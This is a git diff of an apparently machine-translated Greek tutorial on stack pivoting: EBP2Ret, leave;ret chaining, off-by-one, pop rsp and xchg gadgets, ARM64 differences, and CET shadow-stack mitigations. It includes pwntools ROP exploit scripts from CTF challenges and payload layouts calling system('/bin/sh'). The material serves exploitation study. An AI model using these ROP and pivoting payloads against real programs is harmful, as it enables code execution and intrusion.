Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:18 +00:00
parent dd1899274e
commit 4aa2c5f9b0

View File

@ -4,59 +4,63 @@
## Basic Information
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσιοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών **`leave; ret`**.
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του frame pointer και της ακολουθίας εντολών **`leave; ret`**.
Ως υπενθύμιση, **`leave`** σημαίνει βασικά:
Ως υπενθύμιση, στο x86/x86-64 **`leave`** είναι ισοδύναμο με:
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
And as the **EBP είναι στο stack** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας το stack.
Και καθώς το αποθηκευμένο **EBP/RBP είναι στη στοίβα** πριν από το αποθηκευμένο EIP/RIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα.
> Σημειώσεις
> - Σε 64-bit, αντικαταστήστε EBP→RBP και ESP→RSP. Η σημασιολογία είναι η ίδια.
> - Ορισμένοι μεταγλωττιστές παραλείπουν τον δείκτη πλαισίου (βλ. “EBP might not be used”). Σε αυτή την περίπτωση, το `leave` μπορεί να μην εμφανίζεται και αυτή η τεχνική δεν θα λειτουργήσει.
### EBP2Ret
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το EBP register αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP register**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το αποθηκευμένο EBP/RBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP/RIP**. Εκμεταλλεύεται τη συμπεριφορά του επιλόγου της συνάρτησης.
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτή που θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που αποθηκεύεται από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση.
Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που αποθηκεύεται σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`.
#### Κατασκευή Εκμετάλλευσης
Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις**. Το ESP θα δείχνει εδώ και **θα εκτελέσει το πρώτο `ret`**.
Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα/διευθύνσεις**. Το RSP θα δείχνει εδώ και **θα καταναλώσει το πρώτο `ret`**.
Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε:
Στη συνέχεια, πρέπει να επιλέξετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **μεταφέρει την εκτέλεση**. Μπορείτε να χρησιμοποιήσετε:
- Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση.
- Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
- Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί.
- Μερική [**ROP**](../rop-return-oriented-programing/index.html) αλυσίδα.
- Τη διεύθυνση του **`system()`** ακολουθούμενη από την κατάλληλη επιστροφή και τα επιχειρήματα (σε x86: `ret` στόχος = `&system`, στη συνέχεια 4 άχρηστα bytes, στη συνέχεια `&"/bin/sh"`).
- Τη διεύθυνση ενός **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από inline shellcode.
- Μια [**ROP**](../rop-return-oriented-programing/index.html) αλυσίδα τοποθετημένη σε εγγράψιμη μνήμη.
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να εκμεταλλευτείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση.
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή, πρέπει να υπάρχει **χώρος για το `pop ebp/rbp`** από το `leave` (8B σε amd64, 4B σε x86). Μπορείτε να εκμεταλλευτείτε αυτά τα bytes για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να διατηρήσετε τον έλεγχο μετά την επιστροφή της πρώτης κλήσης.
#### Off-By-One Εκμετάλλευση
#### Εκμετάλλευση Off-By-One
Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Εκμετάλλευση". Χρησιμοποιείται όταν μπορείτε να **τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση για να πηδήξει με το **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά.
Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με **`ret`** πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να πηδήξει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή.
Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική ROP αλυσίδα εκτελείται.
Είναι επίσης κοινό να χρησιμοποιείται μια RET sled στη στοίβα και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο RSP δείχνει μέσα στη sled και η τελική ROP αλυσίδα εκτελείται.
### **EBP Chaining**
### EBP Chaining
Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` του stack και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από το stack**.
Τοποθετώντας μια ελεγχόμενη διεύθυνση στη σωστή θέση `EBP` της στοίβας και ένα gadget `leave; ret` στο `EIP/RIP`, είναι δυνατόν να **μετακινήσετε το `ESP/RSP` σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο**.
Τώρα, το **`ESP`** είναι ελεγχόμενο δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή προς εκτέλεση είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
Τώρα το `RSP` είναι ελεγχόμενο και η επόμενη εντολή είναι `ret`. Τοποθετήστε στη ελεγχόμενη μνήμη κάτι όπως:
- **`&(next fake EBP)`** -> Φορτώστε το νέο EBP λόγω του `pop ebp` από την εντολή `leave`
- **`system()`** -> Καλείται από το `ret`
- **`&(leave;ret)`** -> Καλείται μετά την ολοκλήρωση του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά
- **`&("/bin/sh")`**-> Παράμετρος για το `system`
- `&(next fake EBP)` -> Φορτωμένο από `pop ebp/rbp` από το `leave`.
- `&system()` -> Καλείται από το `ret`.
- `&(leave;ret)` -> Μετά την ολοκλήρωση του `system`, μετακινεί το RSP στο επόμενο ψεύτικο EBP και συνεχίζει.
- `&("/bin/sh")` -> Επιχείρημα για το `system`.
Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
Με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε περιθωριακές περιπτώσεις.
Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **stack leak** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
```python
from pwn import *
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 alignment tip: Το System V ABI απαιτεί ευθυγράμμιση 16-byte στο stack στα σημεία κλήσης. Αν η αλυσίδα σας καλεί συναρτήσεις όπως `system`, προσθέστε ένα gadget ευθυγράμμισης (π.χ., `ret`, ή `sub rsp, 8 ; ret`) πριν από την κλήση για να διατηρήσετε την ευθυγράμμιση και να αποφύγετε τις καταρρεύσεις `movaps`.
## EBP μπορεί να μην χρησιμοποιείται
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις ή με παράλειψη του frame-pointer, το **EBP/RBP ποτέ δεν ελέγχει το ESP/RSP**. Επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP/RBP θα αποτύχει επειδή ο πρόλογος/επίλογος δεν αποκαθιστά από τον δείκτη πλαισίου.
- **Not optimized:**
- Όχι βελτιστοποιημένο / χρησιμοποιείται δείκτης πλαισίου:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,20 +113,22 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Βελτιστοποιημένο:**
- Βελτιστοποιημένο / δείκτης πλαισίου παραλειπόμενος:
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραλειφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot.
## Άλλοι τρόποι ελέγχου του RSP
### **`pop rsp`** gadget
### `pop rsp` gadget
[**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**:
```python
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -181,20 +188,67 @@ xchg <reg>, rsp
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Αναφορές & Άλλα Παραδείγματα
### Εύρεση gadgets pivot γρήγορα
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, εκμετάλλευση off by one με μια αλυσίδα rop που ξεκινά με ένα ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, χωρίς relro, canary, nx και pie. Το πρόγραμμα παρέχει μια διαρροή για stack ή pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή του stack και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί κάνοντας pivoting με RBP.
Χρησιμοποιήστε τον αγαπημένο σας ανιχνευτή gadgets για να αναζητήσετε κλασικές πρωτογενείς pivot:
- `leave ; ret` σε συναρτήσεις ή σε βιβλιοθήκες
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret``add esp, <imm> ; ret` σε x86)
Παραδείγματα:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Κλασικό μοτίβο σταδιοδρομίας pivot
Μια ισχυρή στρατηγική pivot που χρησιμοποιείται σε πολλές CTFs/exploits:
1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγγράψιμη περιοχή (π.χ., `.bss`, heap ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP.
2) Επιστρέψτε σε ένα gadget pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) για να μετακινήσετε το RSP σε αυτήν την περιοχή.
3) Συνεχίστε με την σταδιοδρομημένη αλυσίδα (π.χ., leak libc, καλέστε `mprotect`, στη συνέχεια `read` shellcode, στη συνέχεια πηδήξτε σε αυτό).
## Σύγχρονες μετρήσεις που σπάνε το stack pivoting (CET/Shadow Stack)
Οι σύγχρονοι επεξεργαστές x86 και τα λειτουργικά συστήματα εφαρμόζουν ολοένα και περισσότερο το **CET Shadow Stack (SHSTK)**. Με το SHSTK ενεργοποιημένο, το `ret` συγκρίνει τη διεύθυνση επιστροφής στη φυσιολογική στοίβα με μια προστατευμένη από υλικό σκιά στοίβα; οποιαδήποτε ασυμφωνία προκαλεί σφάλμα Control-Protection και τερματίζει τη διαδικασία. Επομένως, τεχνικές όπως οι EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο `ret` από μια pivoted stack.
- Για υπόβαθρο και πιο λεπτομερείς πληροφορίες δείτε:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Γρήγοροι έλεγχοι σε Linux:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Σημειώσεις για εργαστήρια/CTF:
- Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα `nousershstk`, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετριαστικές διαδικασίες σε παραγωγικούς στόχους.
- Οι τεχνικές που βασίζονται σε JOP/COOP ή SROP μπορεί να είναι ακόμα βιώσιμες σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει τους `ret`-βασισμένους άξονες.
- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
## ARM64
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το μητρώο SP** στο stack. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το SP register** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύει το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το μητρώο SP** αντικαθιστώντας κάποια δεδομένα μέσα στο stack. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το μητρώο `x30`**.
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το SP register** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμα κι αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το `x30`** register.
- πρόλογος
@ -213,7 +267,7 @@ ret
```
> [!CAUTION]
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια **να εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **μητρώο `x30`** από ένα **ελεγχόμενο `SP`** και **`RET`** σε αυτό.
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο register του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να **εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **`x30`** register από ένα **ελεγχόμενο `SP`** και να **`RET`** σε αυτό.
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδυναμία του **Ret2esp στο ARM64**:
@ -221,4 +275,15 @@ ret
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Αναφορές
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρίσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί περιστρέφοντας με RBP.
- Τεκμηρίωση πυρήνα Linux: Control-flow Enforcement Technology (CET) Shadow Stack — λεπτομέρειες σχετικά με το SHSTK, `nousershstk`, `/proc/$PID/status` flags, και ενεργοποίηση μέσω `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}